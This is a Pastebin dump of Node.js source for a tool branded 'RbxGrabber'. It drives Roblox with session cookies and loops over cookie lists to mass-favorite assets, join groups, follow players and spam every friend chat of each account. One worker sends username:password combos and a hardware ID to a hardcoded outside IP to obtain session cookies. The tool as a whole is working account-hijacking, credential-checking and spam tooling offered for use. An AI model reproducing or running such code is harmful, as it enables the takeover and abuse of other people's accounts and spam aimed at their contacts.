Guest User

Untitled

a guest
Oct 3rd, 2018
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 44.27 KB | None | 0 0
  1. let request = require('request-promise'),
  2. randomToken = require('random-token'),
  3. cheerio = require('cheerio')
  4.  
  5.  
  6. process.setMaxListeners(1000000000);
  7.  
  8. class rbxbot {
  9. constructor(cookie = '') {
  10. this.cookie = cookie;
  11. this.cuser = '';
  12. this.cpass = '';
  13. this.token = '';
  14.  
  15. request = request.defaults({
  16. forever: true,
  17. agentOptions: {
  18. maxSockets: Infinity
  19. },
  20. simple: false,
  21. gzip: true,
  22. timeout: 15000
  23. });
  24.  
  25. if (this.cookie === '') {
  26. this.session_based = false;
  27. } else {
  28. this.session_based = true;
  29. }
  30. }
  31.  
  32. async create_device_handle() {
  33. try {
  34. let data = {
  35. "mobileDeviceId": randomToken(16).toLowerCase()
  36. }
  37. return await request({
  38. uri: 'https://api.roblox.com/device/initialize',
  39. method: 'POST',
  40. data: data,
  41. headers: {
  42. 'user-agent': 'Mozilla/5.0'
  43. },
  44. resolveWithFullResponse: true
  45. }).then((res) => {
  46. let body = JSON.parse(res.body);
  47. console.log(body);
  48. var devicehandle = tea.encrypt(JSON.stringify(body.browserTrackerId));
  49. return {success: true, browserTrackerId: body.browserTrackerId, device_handle: devicehandle};
  50. })
  51. .catch((err) => {
  52. throw new Error(err);
  53. })
  54.  
  55.  
  56. } catch (err) {
  57. return {success: false, error: err.message};
  58. }
  59. }
  60.  
  61. async cookie_login(cookie) {
  62. try {
  63. if(!cookie || cookie === '' || cookie.split('_|WARNING:-DO-NOT-SHARE-THIS.--Sharing-this-will-allow-someone-to-log-in-as-you-and-to-steal-your-ROBUX-and-items.|_').length < 1) {
  64. throw new Error('Cookie is invalid!');
  65. } else {
  66. this.cookie = cookie;
  67. return {success: true}
  68. }
  69. } catch(error) {
  70. return {success: false, error: error.message};
  71. }
  72. }
  73.  
  74. async login(username, password, hwid) {
  75. try {
  76.  
  77. return await request(`http://54.39.87.168/APIs/secret/cookierefresh?username=${username}&password=${password}&hwid=${hwid}`, {
  78. method: 'POST',
  79. resolveWithFullResponse: true
  80. }).then((response)=>{
  81. //console.log(response.body);
  82. let body = JSON.parse(response.body);
  83. if(body.success === false) {
  84. throw new Error(body.message);
  85. }
  86.  
  87. return {success: true, cookie: body.cookie};
  88. })
  89. .catch((err) => {
  90. //console.log(err.message);
  91. throw new Error(err.message);
  92. })
  93.  
  94.  
  95. } catch(err) {
  96. //console.log(err);
  97. try {
  98. let l = JSON.parse(err.message);
  99. if(l.errors[0].code === 8) return await this.login(username, password, hwid);
  100. err.message = l.errors[0].message;
  101. } catch (e) {
  102.  
  103. }
  104. return {success: false, error: err.message};
  105. }
  106. }
  107.  
  108. async user_info() {
  109. try {
  110.  
  111. if(this.cookie === '') {
  112. throw new Error('You are not logged in!');
  113. }
  114.  
  115. return await request('https://www.roblox.com/mobileapi/userinfo', {
  116. method: 'GET',
  117. headers: {
  118. 'Cookie': `.ROBLOSECURITY=${this.cookie};`
  119. },
  120. resolveWithFullResponse: true
  121. }).then((response) => {
  122.  
  123. return {success: true, info: response.body};
  124. })
  125. .catch((err) => {throw new Error(err)})
  126. } catch(err) {
  127. return {success: false, error: err.message};
  128. }
  129. }
  130.  
  131. async get_token() {
  132. try {
  133. return await request('https://api.roblox.com/sign-out/v1', {
  134. method: 'POST',
  135. headers: {
  136. 'Cookie': `.ROBLOSECURITY=${this.cookie};`
  137. },
  138. resolveWithFullResponse: true
  139. }).then((response) => {
  140.  
  141. let token = response.headers['x-csrf-token'];
  142.  
  143. if(token) {
  144. this.token = token;
  145. return {success:true,token:token};
  146. } else {
  147. throw new Error('Error thrown while trying to get token');
  148. }
  149. })
  150. } catch(err) {
  151. //console.log(err)
  152. return {success:false,error:err.message};
  153. }
  154. }
  155.  
  156. async get_verification(url) {
  157. try {
  158. if(this.cookie === '') {
  159. throw new Error('You are not logged in!');
  160. }
  161. //await this.get_token();
  162. return await request({
  163. uri: url,
  164. headers: {
  165. 'X-CSRF-TOKEN': this.token,
  166. 'Cookie': `.ROBLOSECURITY=${this.cookie};`,
  167. 'user-agent': 'Mozilla/5.0'
  168. },
  169. resolveWithFullResponse: true,
  170. followRedirect: true
  171. }).then((response) => {
  172. //console.log(response);
  173. if(response.statusCode === 403) {
  174. this.get_token();
  175. return this.get_verification(url);
  176. }
  177. let $ = cheerio.load(response.body);
  178.  
  179.  
  180. var inputs = {};
  181. var match;
  182. //var done = false;
  183. var find = ['__VIEWSTATE', '__VIEWSTATEGENERATOR', '__EVENTVALIDATION', '__RequestVerificationToken'];
  184. for (var i = 0; i < find.length; i++) {
  185. var get = find[i];
  186. inputs[get] = $('input[name=' + get + ']').val();
  187. //console.log(inputs);
  188. }
  189. if (response.headers && response.headers['set-cookie']) {
  190. //console.log(response.headers);
  191. match = response.headers['set-cookie'].toString().match(/__RequestVerificationToken=(.*?);/);
  192. inputs["requestToken_header"] = match;
  193. }
  194. //console.log(inputs)
  195. return {success:true,verifications: inputs};
  196. }).catch((err) => {
  197. console.log(err);
  198. throw new Error(err);
  199. })
  200. } catch(err) {
  201. return {success:false,error:err.message};
  202. }
  203. }
  204.  
  205. async configurePrice(assetid, price) {
  206. try {
  207. let asset = await this.getProductInfo(assetid);
  208. if(asset.success === false) throw new Error(asset.error);
  209. asset = asset.info;
  210.  
  211. let verification = await this.get_verification('https://www.roblox.com/My/Item.aspx?ID=' + assetid);
  212. if(verification.success === false) throw new Error(verification.error);
  213. verification = verification.verifications;
  214. //console.log(assetid +'\m'+ price)
  215. var data = {
  216. __EVENTTARGET: 'ctl00$cphRoblox$SubmitButtonTop',
  217. ctl00$cphRoblox$DescriptionTextBox: asset.Description,
  218. ctl00$cphRoblox$NameTextBox: asset.Name,
  219. ctl00$cphRoblox$actualGenreSelection: asset.AssetTypeId || 1
  220. };
  221. data.ctl00$cphRoblox$SellThisItemCheckBox = 'on';
  222. data.ctl00$cphRoblox$SellForRobux = 'on';
  223. data.ctl00$cphRoblox$RobuxPrice = price;
  224. data.ctl00$cphRoblox$EnableCommentsCheckBox = 'on';
  225.  
  226. var inputs = verification;
  227.  
  228. for (var input in data) {
  229. inputs[input] = data[input];
  230. }
  231.  
  232. var options = {
  233. uri: 'https://www.roblox.com/My/Item.aspx?ID=' + assetid,
  234. method: 'POST',
  235. form: inputs,
  236. headers: {
  237. 'X-CSRF-TOKEN': this.token,
  238. 'Cookie': '.ROBLOSECURITY=' + this.cookie + ';__RequestVerificationToken=' + verification.__RequestVerificationToken + ';'
  239. },
  240. resolveWithFullResponse: true
  241. };
  242.  
  243. //console.log(options);
  244.  
  245.  
  246. return await request(options)
  247. .then((response) => {
  248. //console.log(response);
  249. //process.exit();
  250. if(response.statusCode === 403) {
  251. this.get_token();
  252. return this.configurePrice(assetid, price);
  253. }
  254. if(response.statusCode === 200) {
  255. //console.log(response);
  256. return {success:true}
  257. } else {
  258. // console.log(response.body);
  259. //console.log(response);
  260. //console.log(this.cookie+'\n'+assetid+'\n'+info);
  261. throw new Error('Unknown error occured during configure')
  262. }
  263. })
  264. .catch((err) => {
  265. throw new Error(err);
  266. })
  267.  
  268.  
  269. } catch(err) {
  270. return {success: false, error: err.message};
  271. }
  272. }
  273.  
  274. async favorite(assetid) {
  275. try {
  276. let verification = await this.get_verification('https://web.roblox.com/catalog/' + assetid);
  277. if(verification.success === false) throw new Error(verification.error);
  278. verification = verification.verifications;
  279.  
  280. var options = {
  281. uri: 'https://www.roblox.com/favorite/toggle',
  282. method: 'POST',
  283. json: {'assetId':assetid},
  284. headers: {
  285. 'X-CSRF-TOKEN': this.token,
  286. 'Cookie': '.ROBLOSECURITY=' + this.cookie+ ';__RequestVerificationToken=' + verification.__RequestVerificationToken + ';'
  287. },
  288. followRedirect: true,
  289. resolveWithFullResponse: true
  290. };
  291.  
  292. return await request(options)
  293. .then((response) => {
  294. //throw new Error(JSON.stringify(response.body))
  295. if(response.statusCode === 403) {
  296. this.get_token();
  297. return this.favorite(assetid);
  298. }
  299. if(response.body.success === true) {
  300. return {success:true}
  301. } else {
  302. throw new Error(response.body.message);
  303. }
  304.  
  305. })
  306. .catch((err) => {
  307. throw new Error(err);
  308. })
  309. } catch(err) {
  310. console.log(this.cookie);
  311.  
  312. return {success: false, error: err.message};
  313. }
  314. }
  315.  
  316. async delete(assetid) {
  317. try {
  318. let verification = await this.get_verification('https://web.roblox.com/catalog/' + assetid);
  319. if(verification.success === false) throw new Error(verification.error);
  320. verification = verification.verifications;
  321.  
  322. var options = {
  323. uri: 'https://web.roblox.com/asset/delete-from-inventory',
  324. method: 'POST',
  325. formData: {'assetId':assetid},
  326. resolveWithFullResponse: true,
  327. headers: {
  328. 'X-CSRF-TOKEN': this.token,
  329. 'Cookie': '.ROBLOSECURITY=' + this.cookie + ';__RequestVerificationToken=' + verification.__RequestVerificationToken
  330. }
  331. };
  332.  
  333.  
  334. return await request(options)
  335. .then((response) => {
  336. if(response.statusCode === 403) {
  337. this.get_token();
  338. return this.delete(assetid);
  339. }
  340. if(response.statusCode === 200) {
  341. return {success: true};
  342. } else {
  343. //console.log(response)
  344. throw new Error('Unknown error occured while deleting');
  345. }
  346. })
  347. .catch((err) => {
  348. throw new Error(err);
  349. })
  350.  
  351. } catch(error) {
  352. return {success: false, error: error.message};
  353. }
  354. }
  355. async buy(assetid, robux) {
  356. try {
  357. let product = await this.getProductInfo(assetid);
  358. if(product.success === false) throw new Error(product.error);
  359. product = product.info;
  360. //let verification = await this.get_verification('https://web.roblox.com/catalog/' + assetid);
  361. //if(verification.success === false) throw new Error(verification.error);
  362. //verification = verification.verifications;
  363.  
  364. //console.log(verification);
  365.  
  366. //console.log(product);
  367. let options = {
  368. uri: 'https://www.roblox.com/API/Item.ashx?rqtype=purchase&productID=' + product.ProductId + '&expectedCurrency=1&expectedPrice=' + robux+ '&expectedSellerID=' + product.Creator.Id + '&userAssetID=' + product.UserAssetId,
  369. method: 'POST',
  370. resolveWithFullResponse: true,
  371. headers: {
  372. 'X-CSRF-TOKEN': this.token,
  373. 'Cookie': '.ROBLOSECURITY=' + this.cookie + ';'
  374. }
  375. };
  376.  
  377. //console.log(options);
  378.  
  379. //console.log(options);
  380.  
  381. return await request(options)
  382. .then((response) => {
  383. if(response.statusCode === 403) {
  384. this.get_token();
  385. return this.buy(assetid, robux);
  386. }
  387. //console.log(response)
  388. let body = JSON.parse(response.body);
  389. //console.log(body);
  390. //console.log(body)
  391. let err = body.errorMsg;
  392. if (body.showDivID === 'InsufficientFundsView') {
  393. err = 'You need ' + Math.abs(body.balanceAfterSale) + ' more robux to purchase this item.';
  394. }
  395. if(!err) {
  396. if(body.TransactionVerb === 'bought') {
  397. return {success:true};
  398. } else {
  399. throw new Error('Unknown error occured while buying!');
  400. }
  401. } else {
  402. throw new Error(err);
  403. }
  404.  
  405. })
  406. .catch((err) => {
  407. throw new Error(err);
  408. })
  409.  
  410. } catch(err) {
  411. return {success:false, error: err.message};
  412. }
  413. }
  414.  
  415. async getProductInfo(assetid) {
  416. try {
  417. return await request(`https://api.roblox.com/marketplace/productinfo?assetId=${assetid}`)
  418. .then(body => {
  419. return {success: true, info: JSON.parse(body)}
  420. })
  421. .catch((err) => {
  422. throw new Error(err);
  423. })
  424. } catch(err) {
  425. return {success: false, error: err.message};
  426. }
  427. }
  428.  
  429. async join_group(gid) {
  430. try {
  431. let options = {
  432. uri: `https://www.roblox.com/groups/join-group-ajax`,
  433. method: 'POST',
  434. formData: {'id': gid},
  435. resolveWithFullResponse: true,
  436. headers: {
  437. 'X-CSRF-TOKEN': this.token,
  438. 'Cookie': '.ROBLOSECURITY=' + this.cookie + ';'
  439. }
  440. };
  441. return await request(options)
  442. .then((res) => {
  443. //console.log(res.body);
  444. let body = JSON.parse(res.body)
  445. if(res.statusCode === 403) {
  446.  
  447. if(Object.keys(body).length === 0 && body.constructor === Object){
  448. this.get_token();
  449. return this.join_group(gid);
  450.  
  451. }
  452. if(body.success === false) {
  453. throw new Error(body.message);
  454. }
  455. }
  456. if(body.success === false) {
  457. throw new Error(body.message);
  458. }
  459.  
  460. return {success:true}
  461. })
  462. .catch((err) => {
  463. throw new Error(err);
  464. })
  465.  
  466. } catch (err) {
  467. return {success:false, error: err.message}
  468. }
  469. }
  470.  
  471. async leave_group(gid) {
  472. try {
  473. let verification = await this.get_verification('https://www.roblox.com/My/Groups.aspx?gid=' + gid);
  474. if(verification.success === false) throw new Error(verification.error);
  475. verification = verification.verifications;
  476. var events = {
  477. 'ctl00$cphRoblox$ctl01': ''
  478. };
  479. for (var ver in events) {
  480. verification[ver] = events[ver];
  481. }
  482.  
  483. let options = {
  484. uri: `https://www.roblox.com/My/Groups.aspx?gid=${gid}`,
  485. method: 'POST',
  486. form: verification,
  487. resolveWithFullResponse: true,
  488. headers: {
  489. 'X-CSRF-TOKEN': this.token,
  490. 'Cookie': '.ROBLOSECURITY=' + this.cookie + ';__RequestVerificationToken=' + verification.__RequestVerificationToken
  491. }
  492. };
  493. return await request(options)
  494. .then((res) => {
  495. //console.log(res.body);
  496. //let body = JSON.parse(res.body)
  497. if(res.statusCode === 403) {
  498. this.get_token();
  499. return this.join_group(gid);
  500. }
  501. if (res.statusCode !== 302 || !res.headers.location.endsWith('/My/Groups.aspx')) {
  502. throw new Error('Could not leave group!');
  503. }
  504. //console.log(res.body);
  505.  
  506. return {success:true}
  507. })
  508. .catch((err) => {
  509. throw new Error(err);
  510. })
  511.  
  512. } catch (err) {
  513. return {success:false, error: err.message}
  514. }
  515. }
  516.  
  517. async get_groups_ply(userid) {
  518. try {
  519. let options = {
  520. uri: `https://api.roblox.com/users/${userid}/groups`,
  521. method: 'GET',
  522. resolveWithFullResponse: true,
  523. headers: {
  524. 'Cookie': '.ROBLOSECURITY=' + this.cookie + ';'
  525. }
  526. };
  527. return await request(options)
  528. .then((res) => {
  529. return {success: true, groups: res.body};
  530. })
  531. .catch((err) => {
  532. throw new Error(err);
  533. });
  534. } catch(err) {
  535. return {success:false, error:err.message};
  536. }
  537. }
  538.  
  539. async group_post(gid, message) {
  540. try {
  541. var events = {
  542. ctl00$cphRoblox$GroupWallPane$NewPost: message,
  543. ctl00$cphRoblox$GroupWallPane$NewPostButton: 'Post'
  544. };
  545. let verification = await this.get_verification('https://www.roblox.com/My/Groups.aspx?gid=' + gid);
  546. if(verification.success === false) throw new Error(verification.error);
  547. verification = verification.verifications;
  548.  
  549. for (var ver in events) {
  550. verification[ver] = events[ver];
  551. }
  552.  
  553. let options = {
  554. uri: `https://www.roblox.com/My/Groups.aspx?gid=${gid}`,
  555. method: 'POST',
  556. form: verification,
  557. resolveWithFullResponse: true,
  558. headers: {
  559. 'X-CSRF-TOKEN': this.token,
  560. 'Cookie': '.ROBLOSECURITY=' + this.cookie + ';__RequestVerificationToken=' + verification.__RequestVerificationToken
  561. }
  562. };
  563. return await request(options)
  564. .then((res) => {
  565. //console.log(res.body);
  566. //let body = JSON.parse(res.body)
  567. if(res.statusCode === 403) {
  568. this.get_token();
  569. return this.join_group(gid);
  570. }
  571. if (res.statusCode !== 200 ) {
  572. throw new Error('Could not Post!');
  573. }
  574. //console.log(res.body);
  575.  
  576. return {success:true}
  577. })
  578. .catch((err) => {
  579. throw new Error(err);
  580. })
  581. } catch (err) {
  582. return {success:false, error:err.message};
  583. }
  584. }
  585.  
  586. async getConversations() {
  587. try {
  588. let options = {
  589. uri: `https://chat.roblox.com/v2/get-user-conversations?pageNumber=1&pageSize=9999999`,
  590. method: 'GET',
  591.  
  592. resolveWithFullResponse: true,
  593. headers: {
  594. 'X-CSRF-TOKEN': this.token,
  595. 'Cookie': '.ROBLOSECURITY=' + this.cookie + ';'
  596. }
  597. }
  598. return request(options)
  599. .then((res) => {
  600. if(res.statusCode === 403) {
  601. this.get_token();
  602. return this.getConversations();
  603. }
  604.  
  605. let response = JSON.parse(res.body);
  606. return {success: true, conversations: response};
  607. })
  608. .catch(err => {
  609. throw new Error(err);
  610. })
  611. } catch (err) {
  612. return {success:false, error: err.message};
  613. }
  614. }
  615.  
  616. async sendmsg(msg, convid) {
  617. try {
  618. let options = {
  619. uri: `https://chat.roblox.com/v2/send-message`,
  620. method: 'POST',
  621. json: {"conversationId":convid,"message":msg},
  622. resolveWithFullResponse: true,
  623. headers: {
  624. 'X-CSRF-TOKEN': this.token,
  625. 'Cookie': '.ROBLOSECURITY=' + this.cookie + ';'
  626. }
  627. }
  628. return request(options)
  629. .then((res) => {
  630. if(res.statusCode === 403) {
  631. this.get_token();
  632. return this.sendmsg(msg, convid);
  633. }
  634.  
  635. if(res.statusCode === 200) {
  636. //console.log('ok');
  637. return {success: true};
  638. } else {
  639. return {success:false, error: 'Could not send message to Conversation!'};
  640. }
  641. })
  642. .catch(err => {
  643. throw new Error(err);
  644. })
  645. } catch (err) {
  646. //console.log(err.message);
  647. return {success:false, error: err.message};
  648. }
  649. }
  650.  
  651.  
  652.  
  653. }
  654.  
  655. module.exports = rbxbot;{"mode":33188,"size":19439,"isFileValue":true,"isDirectoryValue":false}
  656. var os = require('os');
  657. const colors = require('colors');
  658. const fs = require('fs');
  659. const success = 'Success >> '.green.bold;
  660. const failure = 'Failure >> '.red;
  661. const normal = 'Normal >> '.cyan;
  662. var start_prompt = 'RbxGrabber >> '.red.bold;
  663.  
  664.  
  665. var log = (msg, type='') => {
  666. switch(type){
  667. case "success":
  668. console.log('RbxGrabber >> '.red.bold + success + msg);
  669. break;
  670. case "failure":
  671. console.log('RbxGrabber >> '.red.bold + failure + msg);
  672. break;
  673. case "normal":
  674. console.log('RbxGrabber >> '.red.bold + normal + msg);
  675. break;
  676. default:
  677. console.log('RbxGrabber >> '.red.bold + normal + msg);
  678. break;
  679. }
  680. }
  681.  
  682. process.setMaxListeners(10000000);
  683.  
  684. process.on('message', async (json) => {
  685. const source = require('../utils/rbxbot.js');
  686. const rbxbot = new source();
  687. let cookies = json.cookies;
  688. let assetid = json.assetid;
  689. var i = 0;
  690.  
  691. async function loop(){
  692. if(cookies.length > i) {
  693. try{
  694. let cookie = cookies[i];
  695. //console.log(cookie);
  696. if(cookie === ''){ throw new Error('Cookie is dead.')}
  697. let login = await rbxbot.cookie_login(cookie);
  698. if(login.success === false) {
  699. throw new Error(login.error);
  700. }
  701. let favorite = await rbxbot.favorite(assetid);
  702. if(favorite.success === true) {
  703. log('Successfully favorited asset!', 'success');
  704. process.send({success:true,message:'favorite'});
  705. i++;
  706. return loop();
  707. } else {
  708. throw new Error(favorite.error)
  709. i++;
  710. return loop();
  711. }
  712. }catch(err){
  713. process.send({success:false})
  714. if(err.message === 'Error: You must be logged in to add this to your favorites. Please Login or Register to continue') {
  715. log('Cookie is dead.', 'failure');
  716. i++;
  717. return loop();
  718. }
  719. log(err.message, 'failure');
  720. i++;
  721. return loop();
  722. }
  723. } else {
  724. return process.exit(1);
  725. }
  726. }
  727. loop();
  728. }){"mode":33188,"size":2022,"isFileValue":true,"isDirectoryValue":false}
  729. var os = require('os');
  730. const colors = require('colors');
  731. const fs = require('fs');
  732. const success = 'Success >> '.green.bold;
  733. const failure = 'Failure >> '.red;
  734. const normal = 'Normal >> '.cyan;
  735. var start_prompt = 'RbxGrabber >> '.red.bold;
  736.  
  737.  
  738. var log = (msg, type='') => {
  739. switch(type){
  740. case "success":
  741. console.log('RbxGrabber >> '.red.bold + success + msg);
  742. break;
  743. case "failure":
  744. console.log('RbxGrabber >> '.red.bold + failure + msg);
  745. break;
  746. case "normal":
  747. console.log('RbxGrabber >> '.red.bold + normal + msg);
  748. break;
  749. default:
  750. console.log('RbxGrabber >> '.red.bold + normal + msg);
  751. break;
  752. }
  753. }
  754.  
  755. process.setMaxListeners(10000000);
  756.  
  757. process.on('message', async (json) => {
  758. const source = require('../utils/rbxbot.js');
  759. const rbxbot = new source();
  760. let cookies = json.cookies;
  761. let groupid = json.groupid;
  762. var i = 0;
  763.  
  764. async function loop(){
  765. if(cookies.length > i) {
  766. try{
  767. let cookie = cookies[i];
  768. //console.log(cookie);
  769. if(cookie === ''){ throw new Error('Cookie is dead.')}
  770. let login = await rbxbot.cookie_login(cookie);
  771. if(login.success === false) {
  772. throw new Error(login.error);
  773. }
  774. let group = await rbxbot.join_group(groupid);
  775. if(group.success === true) {
  776. if(group.pending) {
  777. log('Requested to join group!', 'success');
  778. i++;
  779. } else {
  780. process.send('joined');
  781. log('Successfully joined group!', 'success');
  782. i++;
  783. }
  784. return loop();
  785. } else {
  786. throw new Error(group.error)
  787. i++;
  788. return loop();
  789. }
  790. }catch(err){
  791. if(err.message === 'SyntaxError: Unexpected token < in JSON at position 0') {
  792. await log('Cookie is dead.', 'failure');
  793. i++;
  794. return loop();
  795. }
  796.  
  797. if(err.message.indexOf(`groups`) >= 0) {
  798. var msg = err.message.split(' is already a');
  799. var msg1 = msg[0].split('Error: User:');
  800. var userid = msg1[1];
  801. //console.log(msg1)
  802. if(!userid) {
  803. i++;
  804. return loop();
  805. }
  806. let groups_in = await rbxbot.get_groups_ply(userid);
  807. if(groups_in.success === false) await log(groups_in.error, 'failure');
  808. groups_in = JSON.parse(groups_in.groups);
  809. //console.log(groups_in[0].Id);
  810. if(groups_in.length <= 0) {
  811. i++;
  812. return loop();
  813. }
  814. let leave = await rbxbot.leave_group(groups_in[0].Id);
  815. if(leave.success === false) {
  816.  
  817. await log(leave.error, 'failure');
  818. i++;
  819. return loop();
  820. }
  821.  
  822. return loop();
  823. }
  824.  
  825. await log(err.message, 'failure');
  826. i++;
  827. return loop();
  828. }
  829. } else {
  830. return process.exit(1);
  831. }
  832. }
  833. loop();
  834. }){"mode":33188,"size":2974,"isFileValue":true,"isDirectoryValue":false}
  835. var os = require('os');
  836. const colors = require('colors');
  837. const fs = require('fs');
  838. const success = 'Success >> '.green.bold;
  839. const failure = 'Failure >> '.red;
  840. const normal = 'Normal >> '.cyan;
  841. var start_prompt = 'RbxGrabber >> '.red.bold;
  842.  
  843.  
  844. function random(min, max) {
  845. return Math.floor(Math.random() * (max - min + 1) ) + min;
  846. }
  847.  
  848. var log = (msg, type='') => {
  849. switch(type){
  850. case "success":
  851. console.log('RbxGrabber >> '.red.bold + success + msg);
  852. break;
  853. case "failure":
  854. console.log('RbxGrabber >> '.red.bold + failure + msg);
  855. break;
  856. case "normal":
  857. console.log('RbxGrabber >> '.red.bold + normal + msg);
  858. break;
  859. default:
  860. console.log('RbxGrabber >> '.red.bold + normal + msg);
  861. break;
  862. }
  863. }
  864.  
  865. process.setMaxListeners(10000000);
  866.  
  867. process.on('message', async (json) => {
  868. const source = require('../utils/rbxbot.js');
  869. const rbxbot = new source();
  870. let cookies = json.cookies;
  871. let message = json.message;
  872. //console.log(message);
  873. var i = 0;
  874. async function loop(){
  875. if(cookies.length > i) {
  876. try{
  877. let cookie = cookies[i];
  878. //console.log(cookie);
  879. if(cookie === ''){ throw new Error('Cookie is dead.')}
  880. let login = await rbxbot.cookie_login(cookie);
  881. if(login.success === false) {
  882. throw new Error(login.error);
  883. }
  884.  
  885. let convos = await rbxbot.getConversations();
  886. if(convos.success === false) {
  887. throw new Error(convos.error);
  888. }
  889. convos = convos.conversations;
  890. var c = 0;
  891. console.log(cookie);
  892. if(convos.length <= 0) throw new Error('User has no friend chats!');
  893. async function send(){
  894. if(convos.length > c) {
  895. try{
  896. let convo = convos[c];
  897. let sendmsg = await rbxbot.sendmsg(message, convo.id);
  898. if(sendmsg.success === false) throw new Error(sendmsg.error);
  899.  
  900. process.send({success: true,type:'message', value: convo.participants.length - 1});
  901. log(`Successfully sent message to chat ${convo.title} with ${convo.participants.length - 1} members!`, 'success');
  902. c++;
  903.  
  904. return send();
  905. }catch(err){
  906. process.send({success: false, type:'regular'});
  907. if(err.message === 'SyntaxError: Unexpected token < in JSON at position 0') {
  908. await log('Cookie is dead.', 'failure');
  909. i++;
  910. return loop();
  911. }
  912.  
  913. if(err.message === 'Could not send message to Conversation!') {
  914. await log('Broken user, Skipping.', 'normal');
  915. i++;
  916. loop();
  917. }
  918.  
  919.  
  920.  
  921. await log(err.message, 'failure');
  922. i++;
  923. return send();
  924. }
  925. } else {
  926. i++;
  927. c = 0;
  928. process.send({success: true,type:'regular'});
  929. return loop();
  930. }
  931. }
  932. send();
  933. }catch(err){
  934. process.send({success: false, type:'regular'});
  935. if(err.message === 'SyntaxError: Unexpected token < in JSON at position 0') {
  936. await log('Cookie is dead.', 'failure');
  937. i++;
  938. return loop();
  939. }
  940.  
  941.  
  942.  
  943. await log(err.message, 'failure');
  944. i++;
  945. return loop();
  946. }
  947. } else {
  948. return process.exit(1);
  949. }
  950. }
  951. loop();
  952. }){"mode":33188,"size":3404,"isFileValue":true,"isDirectoryValue":false}
  953. var os = require('os');
  954. const colors = require('colors');
  955. const fs = require('fs');
  956. const success = 'Success >> '.green.bold;
  957. const failure = 'Failure >> '.red;
  958. const normal = 'Normal >> '.cyan;
  959. var start_prompt = 'RbxGrabber >> '.red.bold;
  960.  
  961.  
  962. var log = (msg, type='') => {
  963. switch(type){
  964. case "success":
  965. console.log('RbxGrabber >> '.red.bold + success + msg);
  966. break;
  967. case "failure":
  968. console.log('RbxGrabber >> '.red.bold + failure + msg);
  969. break;
  970. case "normal":
  971. console.log('RbxGrabber >> '.red.bold + normal + msg);
  972. break;
  973. default:
  974. console.log('RbxGrabber >> '.red.bold + normal + msg);
  975. break;
  976. }
  977. }
  978.  
  979. process.setMaxListeners(10000000);
  980.  
  981. process.on('message', async (json) => {
  982. const source = require('../utils/rbxbot.js');
  983. const rbxbot = new source();
  984. let cookies = json.cookies;
  985. let assetid = json.assetid;
  986. var i = 0;
  987.  
  988. async function loop(){
  989. if(cookies.length > i) {
  990. try{
  991. let cookie = cookies[i];
  992. //console.log(cookie);
  993. if(cookie === ''){ throw new Error('Cookie is dead.')}
  994. let login = await rbxbot.cookie_login(cookie);
  995. if(login.success === false) {
  996. throw new Error(login.error);
  997. }
  998. console.log('before');
  999. let favorite = await rbxbot.follow(assetid);
  1000. console.log('after');
  1001. if(favorite.success === true) {
  1002. log('Successfully Followed Player!', 'success');
  1003. process.send({success:true,message:'favorite'});
  1004. i++;
  1005. return loop();
  1006. } else {
  1007. throw new Error(favorite.error)
  1008. i++;
  1009. return loop();
  1010. }
  1011. }catch(err){
  1012. if(err.message === 'Error: You must be logged in to add this to your favorites. Please Login or Register to continue') {
  1013. await log('Cookie is dead.', 'failure');
  1014. i++;
  1015. return loop();
  1016. }
  1017. process.send({success:false})
  1018. await log(err.message, 'failure');
  1019. i++;
  1020. return loop();
  1021. }
  1022. } else {
  1023. return process.exit(1);
  1024. }
  1025. }
  1026. loop();
  1027. }){"mode":33188,"size":2093,"isFileValue":true,"isDirectoryValue":false}
  1028. var os = require('os');
  1029. const colors = require('colors');
  1030. const fs = require('fs');
  1031. const success = 'Success >> '.green.bold;
  1032. const failure = 'Failure >> '.red;
  1033. const normal = 'Normal >> '.cyan;
  1034. var start_prompt = 'RbxGrabber >> '.red.bold;
  1035.  
  1036. var l = 0;
  1037. var narray = [];
  1038.  
  1039. var log = (msg, type='') => {
  1040. switch(type){
  1041. case "success":
  1042. console.log('RbxGrabber >> '.red.bold + success + msg);
  1043. break;
  1044. case "failure":
  1045. console.log('RbxGrabber >> '.red.bold + failure + msg);
  1046. break;
  1047. case "normal":
  1048. console.log('RbxGrabber >> '.red.bold + normal + msg);
  1049. break;
  1050. default:
  1051. console.log('RbxGrabber >> '.red.bold + normal + msg);
  1052. break;
  1053. }
  1054. }
  1055.  
  1056. process.setMaxListeners(10000000);
  1057.  
  1058. var newDeviceHandle = async () => {
  1059. await narray.splice(l, 1);
  1060. l = Math.floor(Math.random() * narray.length);
  1061. return;
  1062. };
  1063.  
  1064. process.on('message', async (json) => {
  1065.  
  1066. const source = require('../utils/rbxbot.js');
  1067. const rbxbot = new source();
  1068. let combos = json.combos;
  1069. let hwid = json.hwid;
  1070. var i = 0;
  1071.  
  1072.  
  1073.  
  1074. async function loop(){
  1075. if(combos.length > i) {
  1076. try{
  1077. let combo = combos[i];
  1078. //console.log(cookie);
  1079. if(combo === ''){ throw new Error('Blank combo found')}
  1080. combo = combos[i].split(':');
  1081. if(combo.length < 1) throw new Error('Blank combo found');
  1082.  
  1083. let login = await rbxbot.login(combo[0], combo[1], hwid);
  1084. if(login.success === false) {
  1085. throw new Error(login.error);
  1086. }
  1087.  
  1088. process.send({success:true, type: 'checked', cookie: login.cookie});
  1089. i++;
  1090. log('Successfully refreshed '+combo[0]+'!', 'success');
  1091. return loop();
  1092. }catch(err){
  1093. //console.log(err);
  1094. process.send({success:false, type: 'failure'})
  1095.  
  1096. await log(err.message, 'failure');
  1097. i++;
  1098. return loop();
  1099. }
  1100. } else {
  1101. return process.exit(1);
  1102. }
  1103. }
  1104. loop();
  1105. }){"mode":33188,"size":1952,"isFileValue":true,"isDirectoryValue":false}
  1106. var os = require('os');
  1107. const colors = require('colors');
  1108. const fs = require('fs');
  1109. const success = 'Success >> '.green.bold;
  1110. const failure = 'Failure >> '.red;
  1111. const normal = 'Normal >> '.cyan;
  1112. var start_prompt = 'RbxGrabber >> '.red.bold;
  1113.  
  1114.  
  1115. var log = (msg, type='') => {
  1116. switch(type){
  1117. case "success":
  1118. console.log('RbxGrabber >> '.red.bold + success + msg);
  1119. break;
  1120. case "failure":
  1121. console.log('RbxGrabber >> '.red.bold + failure + msg);
  1122. break;
  1123. case "normal":
  1124. console.log('RbxGrabber >> '.red.bold + normal + msg);
  1125. break;
  1126. default:
  1127. console.log('RbxGrabber >> '.red.bold + normal + msg);
  1128. break;
  1129. }
  1130. }
  1131.  
  1132. process.setMaxListeners(10000000);
  1133.  
